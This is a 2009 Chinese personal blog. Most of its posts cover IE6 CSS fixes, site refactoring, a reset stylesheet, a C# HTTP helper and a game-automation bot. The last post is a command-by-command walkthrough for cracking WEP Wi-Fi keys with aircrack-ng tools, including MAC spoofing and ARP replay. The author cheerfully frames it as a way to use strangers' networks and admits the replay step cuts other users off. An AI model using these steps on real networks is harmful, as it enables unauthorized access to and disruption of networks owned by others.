IE6 最常10种修复bug方法

On 2009年04月13日, in XHTML&CSS, by Kane

IE6的十个bug的Fix方案,看到一篇文章整理了一下,顺便转过来备忘一下。
原文链接 http://www.sitepoint.com/blogs/2009/03/06/10-fixes-for-ie6-problems/

1. 强制浏览器是用Web标准解析

HTML的写法

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
 "http://www.w3.org/TR/html4/strict.dtd">

或者XHTML的写法

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

2. Set Position: relative

给元素指定Position: relative能够解决很多奇怪的问题,比如对齐和显示不正确等。对于Position的属性要小心设置,特别是设为absolute。

3. 给Float的元素加上inline属性避免双倍margin

这大概是最著名的一个bug了,IE6下对于浮动元素,会莫名其妙的双倍空白边,解决的方法也很莫名,设上display:inline属性就好了,对于float元素这个属性本身没有任何意义。

4. 给特定元素加上hasLayout属性

很多IE6(甚至是IE7)的问题可以通过设置hasLayout这个ie only的内部属性来解决,比如让a这样的行级元素变成块级元素或者让元素应用透明效果。但这个属性并不能直接设置。最简单的让元素拥有 hasLayout属性的方法是显式的为其设置高度或者宽度。有的时候,你不能显示的为其设定高度,可以使用设置高度为1%,而其父元素如果没有确定的高度时,该设置不会被应用到实际的高度上,但是hasLayout会被激活。

5. Fix字符重复bug

这是IE6上面一个非常奇怪的BUG,他的触发条件也是相当诡异,在浮动元素间如果有

这样的普通的HTML注释的话,会导致Float元素中的最后的字符会很诡异的出现在后面的clear元素中,具体的介绍大家可以看这里 positioniseverything 。

解决的方法也很奇怪
* 将所有的浮动元素设为 display:inline;
* 给最后的浮动元素设置 margin-right:-3px;
* 使用条件注释避免IE6下的问题 Put your commentary in here…
* 在最后的容器内放入一个空的div (这种添加这种无语义的workaround并不是最理想的选择)

6. 需要悬浮效果的地方,尽量使用标签

IE6中只能对应用css hover效果,所以尽可能使用标签来获取最大的兼容性。

7. 使用!important或者高级选择器来兼容IE6

使用!important和高级选择器来兼容IE6,可以避免使用那些通不过校验的非常规hack,比如所谓的_width这样的东西。我们来看个简单的例子。

#element {
	min-height: 20em;
	height: auto !important; /* understood by all browsers */
	height: 20em; /* IE6 incorrectly uses this value /*
}

IE6是不能正确解读!important这个修饰符的,所以他会错误的使用height:20em这个属性来实现最小高度。(IE6下容器会自动扩展)

#element {
	min-height: 20em;
	height: 20em;
}

/* ignored by IE6 */
#element[id] {
	 height: auto;
}

或者使用高级选择器,同样也能实现该目的,这样代码既能保持合法性,也能很好的去兼容IE6这个诡异的产品。

针对各版本IE和FF的css hack


#element{
/*顺序是FF&amp;IE8,IE7,IE6 不能颠倒!*/
color:red /* 只对FF*/
color:/*\**/black\9 /*只对IE8有效**/
*color:gray/*只对IE7有效*/
_color:blue /*只对IE6有效*/
}

8. 避免在IE6下使用百分比尺寸

body {
	margin: 2% 0 !important;
	margin: 20px 0; /* IE6 only */
}

IE6下是用百分比的尺寸是件非常让人头疼的事情,尽可能避免这样的使用,而是采用结合!important和精确尺寸来明确元素的大小。

9. 频繁测试,尽早测试

和其他编程一样,现在编程提倡持续测试,尽早测试,甚至可以测试驱动,在CSS开发过程中也要尽可能的频繁测试,可以参看我之前介绍的一些测试工具。

IE: IE developer toolbar, debug bar ,IETester(ie5-8)
FF: firebug

10. 重构你的代码

 

网站重构流程

On 2009年04月13日, in Article, by Kane

一 设计稿的分析

1. 能分清设计稿中的公共与私有的部分
从最基本的开始,分清公共部分如菜单、导航、大框架和每个独立页面所用到的部分等,至少在想法上做不同的对待。

2. 在1的基础上对各部分的实现方式有一个初步的方案(包括如何切图、写结构、写样式)
在分清公共和私有部分后,分析最简单的实现方法,如哪些部分是可以平铺的,哪些是可以重复被使用的等等。

3. 在1的基础上,准确的给出各部分的实现方案(包括如何切图、写结构、写样式)
在分清公共和私有部分后,能准确的给出各部分的实现方案,如“滑动门技术”的实现方法有2种,选择哪种方法更合适项目?图片应该如何切?应该使用哪种HTML和CSS的写法?

4. 在3的基础上,能同时考虑方案的扩展性、复用性及页面性能(包括如何切图、写结构、写样式)
在给出的方案中考虑是否可扩展、如何重复使用、将哪一类的图合并可以最大化页面的性能。这里还要注意有些模块的内容可能是动态的,当内容改变后如何兼容。

5. 在4的基础上,考虑整站的结构分布(包括文件分布、目录结构)
考虑上面方案的综合效率,如维护所需要的成本、页面打开速度、带宽成本、服务器开销等等。

1~3点应该成为基本的技能,4~5属于更高的要求。这块的熟练度会影响到后继切图和写代码的效率、返工的机率及维护成本的高低。

二 切图

1. 切成所需要的图片(如何将需要的部分切出来)
最基本的,将需要的图切出来,有时候会需要PS出自己需要的图。

2. 在1的基础上,对切出来的图片进行一些优化(包括压缩文件大小、选择图片类型)
压缩输出的图片,在不影响画面质量的前提下,尽可能的减少文件字节数。这个工作很重要,优化一张图片所带来的效果可能比优化很多的代码所带来的效果要明显得多。

3. 在2的基础上,规划切出来的图片(包括文件分布)
规划切出来的图片,哪些图应该被合并,存放于哪个目录等等。

4. 在3的基础上,考虑整体的性能(包括合并图片、压缩文件大小)
同样是综合整体的性能、效率。

1~3点应该成为基本的技能,4属于更高的要求。这块会影响到HTML和CSS的写法,还有页面的性能(流量、链接数)。

三 HTML和CSS的编写

1. 还原设计稿视觉效果,并通过标准验证(HTML)
还原设计稿,是页面制作最基本的要求,不管设计稿是否符合自己的审美观,做为页面重构工作者,还原设计稿是一项职业素质。通过标准验证是检验我们输出的质量很重要的一个方法。虽然最终的页面不一定可以通过验证,但我们所输出的静态页面大部分是可以做到通过验证的,除非有特殊的需求。当然我们不是为了过验证而做页面,是为了标准化。

2. 在1的基础上,实现多浏览器的兼容(HTML)
兼容多浏览器,要实现多浏览器的兼容,少不要了解下各浏览器的习性。不过对于什么才是兼容,在《 中国式WEB标准 》中有讨论。

3. 在2的基础上,标签语义化(HTML)
标签语义化,是WEB标准的核心内容,只有做好了语义化,才能说得上做到了WEB标准。虽然在国内很重有统一的标准,不过一些基本的语义标签的使用还是可以定下的,如段落、列表、表格等等。

4. 在3的基础上,选择较优的实现方式(包括模块化结构,方便程序脚本使用,HTML和CSS)
做好了上面3点,只能说单一的页面做好了,下面得考虑两个以上的页面了。模块化就是为了更好的提高复用,减少重复开发所带来的浪费。模块化也是被越来越多的人所关注,可以说是发展的一个趋势,随着大家对HTML和CSS掌握越多,如何更好的发挥它们也成了提高工作效率的重点,其中模块化就是很好的一种方式,打算在之后写相关的内容(时间不好确定)。

5. 在4的基础上,考虑到扩展性、复用性和可维护性(HTML和CSS)
做好了模块化,并不一定就是最优化的,如果考虑上扩展性、复用性和可维护方面的内容,模块化有时反而会不利于这几个方面,如何平衡这几方面,是一个更高的要求。

6. 在5的基础上,考虑到整站的样式分布(包括如何实现分布)
这个算是整站的规划了,需要多少个样式,多少个目录,这些样式文件分别存于哪个目录(当然同时也需要考虑图片的分布)

7. 在6的基础上,样式写法的优化(包括技巧的应用)
这点需要跟上面的第4、5、6点结合,需要做综合的考虑,使用更合适于项目的样式写法。

1~3点为基本的技能,4~7属于页面优化方面的内容。这块影响了一个页面甚至一个站点从无到有、从有到优。掌握好各个点的知识,会让页面在越短的时间内达到最优的状态。当然这也是个人能力的体现。

 

一个reset的css类

On 2009年04月12日, in XHTML&CSS, by Kane
/*
 CreateBy: Kane
 CreateDate:2009-1-1
 ModifyBy:
 ModifyDate:
 Description:重置默认样式
 */
body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, code, form, fieldset, legend, input, button, textarea, p, blockquote, th, td {
    margin: 0;
    padding: 0;
}

fieldset, img {
    border: 0;
}

/* remember to define focus styles! */
:focus {
    outline: 0;
}

address, caption, cite, code, dfn, em, strong, th, var, optgroup {
    font-style: normal;
    font-weight: normal;
}

h1, h2, h3, h4, h5, h6 {
    font-size: 100%;
    font-weight: normal;
}

abbr, acronym {
    border: 0;
    font-variant: normal;
}

input, button, textarea, sel&#101;ct, optgroup, option {
    font-family: inherit;
    font-size: inherit;
    font-style: inherit;
    font-weight: inherit;
}

code, kbd, samp, tt {
    font-size: 100%;
}

/*@purpose To enable resizing for IE */
/*@branch For IE6-Win, IE7-Win */
input, button, textarea, sel&#101;ct {

	*font-size: 100%;
}

body {
    line-height: 1.5;
}

ol, ul {
    list-style: none;
}

/* tables still need &#39;cellspacing=&#34;0&#34;&#39; in the markup */
table {
    border-collapse: collapse;
    border-spacing: 0;
}

caption, th {
    text-align: left;
}

sup, sub {
    font-size: 100%;
    vertical-align: baseline;
}

/* remember to highlight anchors and ins&#101;rts somehow! */
:link,:visited, ins {
    text-decoration: none;
}

blockquote, q {
    quotes: none;
}

blockquote:before, blockquote:after, q:before, q:after {
    content: &#39;&#39;;
    content: none;
}

/*Fix Float*/
.clearfix:after {
    content: &#34;.&#34;;
    display: block;
    height: 0;
    clear: both;
    visibility: hidden;
}
.clearfix {
    display: inline-block;
}

/* Hides from IE-mac \*/
* html .clearfix {
    height: 1%;
}
.clearfix {
    display: block;
}
/* End hide from IE-mac */
 

C# Winform 通用 Httprequest 类

On 2009年04月12日, in .Net, by Kane

post 和 get 都可以。

 private static string PGetHtml(string url, string postData, Encoding enc, CookieContainer cookie)
        {
            //返回的html
            string html = String.Empty;

            bool m_UsePost = true;

            if (postData == null || postData.Length == 0)
                m_UsePost = false;

            try
            {
                HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url);
                req.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar)";
                req.Method = m_UsePost ? "POST" : "GET";
                req.Referer = url;
                req.ContentType = "application/x-www-form-urlencoded";
                req.KeepAlive = true;
                req.Accept = "*/*";

                if (cookie != null)
                {
                    req.CookieContainer = cookie;
                }

                if (m_UsePost)
                {
                    req.ContentLength = postData.Length;
                    using (StreamWriter writer = new StreamWriter(req.GetRequestStream()))
                    {
                        writer.Write(postData);
                        writer.Close();
                    }
                }

                HttpWebResponse resp = (HttpWebResponse)req.GetResponse();
                if (cookie != null)
                {
                    resp.Cookies = cookie.GetCookies(new Uri(url));
                }

                StreamReader sr = new StreamReader(resp.GetResponseStream(), enc);
                html = sr.ReadToEnd();
                sr.Close();
                resp.Close();
            }
            catch (Exception ex)
            {
                html = "";
                MarkLog(ex.ToString(), "**系统错误**-sic");
            }

            return html;
        }

request 之后对返回的内容进行查找。

public static string GetBetweenText(string sourceStr, string startStr, string endStr)
        {
            string result = string.Empty;
            int startIdx = 0;
            int endIdx = 0;
            startIdx = sourceStr.IndexOf(startStr);
            if (startIdx >= 0)
            {
                endIdx = sourceStr.IndexOf(endStr, startIdx);
                if (endIdx > startIdx && endIdx > 0)
                {
                    result = sourceStr.Substring(startIdx + startStr.Length, endIdx - startIdx - startStr.Length);
                }
            }
            return result;

        }

简单 Marllog

public static void MarkLog(string msg, string type)
        {

            string Logfile = Path.GetDirectoryName(System.Windows.Forms.Application.ExecutablePath) + "\\log_" + DateTime.Now.ToString("yyyy_MM_dd") + ".txt";
            FileStream fs = new FileStream(Logfile, FileMode.Append);
            StreamWriter sw = new StreamWriter(fs, Encoding.Default);
            sw.WriteLine(string.Format("{0}:{1}", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"), "["+type+"]" +msg));
            sw.Close();
            fs.Close();
            Console.WriteLine(string.Format("{0}:{1}", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"), "["+type+"]" +msg));

        }
 

[原创]Sic & agenow 挂机器 Autohook2.0

On 2009年04月12日, in .Net, by Kane

之前写的 Autosic1.2 已经很久没更新了。现在重写这个挂机,并改名为 AutoHook2.0

软件需求: Microsoft .Net Framework 2.0 没装framework就运行唔到个软件的。一定要装 Framework 才可以运行 AutoSic

Framework下载地址 http://download.microsoft.com/download/5/6/7/567758a3-759e-473e-bf8f-52154438565a/dotnetfx.exe

校内的到FTP 找吧!

下载AutoHook地址:

http://www.iamkane.com/tools/autohook.rar

http://sic.szpt.net/webdisk2/12/autohook.rar

AutoHook QQ讨论群:44381061

功能介绍:

继承AutoSic1.2 的所有功能,并在原来基础上进行优化。

1. 针对Sic — 自动挂机,自动钓鱼,自动筛子,自动补充体力,即时浏览社区 。

2. 自动筛子提供了选择大小及投注金额,同时修改了中筛子的几率时间。简单点说,就是摇到中了的时候,自动筛子的时间会改为10分钟(sic默认中了就是要等10分钟后再摇的)之后再摇,如果没摇中会立即重摇,摇中为止。

3. 自动补充体力,暂时定死为:鸡中翅,-10 両+ 20 体力。如果开启自动补充体力,程序将500秒自动补充一次。

4.保险丝功能:就是在你体力少于50的时候,而且开启了自动筛子,或自动钓鱼的时候。程序会确保你的体力不少于50,会自动补充体力。因为开启自动补充体力会出现补的不够快的时候。在反复试验的时候才加上此功能。

5.即时浏览社区,再挂机的同时可以即时浏览sic社区。PS,不要在即时窗口离开社区,否则会无法挂机。

6.提供简单的Agenow挂机功能。看看情况再进行开发。

7.除了提供即时挂机Log信息。另外写了个log文件。可以对挂机的事件进行查阅和找bug。

8.检查软件版本更新的功能。

9.还有一些其他功能自己研究吧~

如果有Bug,或者问题欢迎提出~

 

Linux 常用的命令

On 2009年04月12日, in Security, by Kane

Linux Unix常用的命令
http://www.iamkane.com/linux.html

 

[align=center]

[/align]
[b]
我们专注 PSD to XHTML , PNG to XHTML
[/b]

在8小时内将设计稿以手写代码方式(hand-coded)转化成高质量、符合W3C标准的XTHML+CSS文件,并提供友善的注释供各种程序的实现。
We provides hand-coded conversion of your designs into high quality, W3C valid XHTML/CSS in less than 8 hours.

我们保证转化页面和设计稿效果在 Internet Explorer 6+ 、Firefox3.0+ 、Opeara9+、Safari、Chrome 各款主流浏览器中的效果一致, 并且注重页面加载时的性能,SEO的网站结构语义化和搜索引擎友善性,幷根据您的需求在页面适当作出SEO。我们确认最终代码是符合W3C标准。
我们接受各种主流图形文件的设计稿: PSD, PNG, JPG ,AI 等。

详情请进入:PSD2XHTML

 
 

ai psd cdr eps 预览器绿色版

On 2009年04月12日, in Collection, by Kane

ai psd cdr eps 预览器绿色版,XP下默认可预览。

下载

 

[原创]用BT3破解WIFI WEP加密

On 2009年04月12日, in Security, by Kane

下了个BT3(Back Track 3),上YouTube看了段破解WEP的视频。自己实现了一下,结果真的行了。wifi的WEP 加密真的很脆弱,不过以后看见wifi基本就可以上网囖。哈哈。

一、试验环境

1.需要一张支持在linux使用airodump ,aircrack 的无线网卡。网上很多资料,自己去找吧。

2.下载BT3 ISO 刻盘,然后从光盘启动进入 KDE BT 里面。

二、过程步骤:

1.在菜单栏的Internet 中找到 wireless assistant 并打开。里面可以看到附近的无线网络。看看有没有加密了网络。这里我只测试了WEP的加密。如果提示无找到网络,会自动关闭。需要从新检查一下你的无线网卡。

2. 接下来是开第一shell 开始输入命令啦:

1)输入 airmon-ng 返回 无线网卡列表,要看清楚哪张网卡哦!我这里是wifi0

2)airmon-ng stop wifi0

3) ifconfig wif0 down

4)macchanger -m 00:11:22:33:44:55 wifi0 修改网卡的mac地址

5)airmon-ng start wifi0 启动完成后会再次列出所有的无线网卡。有写网卡会提示继承父级的驱动。估计这里的意思是,BT3自带了破解的驱动吧。呵呵..

6)设置网卡ko了,就开始airodump啦!

输入 airodump-ng wifi0 ,成功后会出现一个列表,而且不断的有pack进出。如果无返回这个列表,就需要改一下,看看刚才上面arimon-ng列出来的网卡。然后换一个网卡来 dump。我这里是 airodump-ng ath1. 列表如果出来,就按 ctrl+C 停止。然后找到你要破解的网络的BSSID并且copy下来,还有要看清楚他的channel 和essid.

7) airodump-ng -c 要破解的channel -w wep123 –bssid 粘贴刚刚的BSSID

这里的wep123是随便输入的,后面需要用的哦。

3. 再开一个Shell输入:

1) aireplay-ng -1 -0 -a 粘贴刚刚的BSSID -h 00:11:22:33:44:55 -e 要破解的essid ath1

回车后,会返回一段东西里面有success的字样。具体是什么没太留意啦。就直接下一步了。也不知道失败是返回什么了。

2) airepaly-ng -3 -b 粘贴刚刚的BSSID -h 00:11:22:33:44:55 ath1

这里就直接arp了整个wifi网络。在wifi里面的人估计就上不了网了。所以接下来要速度点。如果里面的没人..那我就不知道会怎么样了。哈哈.因为需要截取一定量的数据包才能破解出密码。

4. 再开一个shell输入:

aircrack-ng -n 64 0b 粘贴刚刚的BSSID wep123_01.cap

这里不要这么快按回车,有两个地方需要注意的。第一是wep123_01.cap,需要确认一下名称,去home目录看看是不是这个名字。第二看看第一个shell窗口的数据包是否过W。如果都ko了,就按回车看结果吧。

key found: 后面这些就是密码啦。

三. 总结一下

WEP真的非常脆弱,但相信国内大多数wifi用的都是WEP啦。特别是家庭里面用的。下次要实现一下WPA 和 WPA-PSK 这两个环境的破解。BT3 是国外一个非常牛B的crack OS,里面集成大量的 hack tools。当出差或者去旅行的时候,最好带上一个网卡和BT3光盘。一定会有所收获的。呵呵..

另外,前段时间在武汉机场深圳机场都看到有中国电信的wifi网络。中国电信wifi是相对安全的。他不是加密的wifi。而是先让你连进wifi分配了一个公网IP给你。但是当你的数据要出去的时候,他会redirected到一个登陆页面输入帐户密码。所以…. 别想无线城的wifi了。不过估计奥运有外国hacker 想到办法破解到电信这个wifi系统的啦。

加个IPW2200的方法:http://backtrack.offensive-security.com/index.php/HCL:Wireless#IPW2200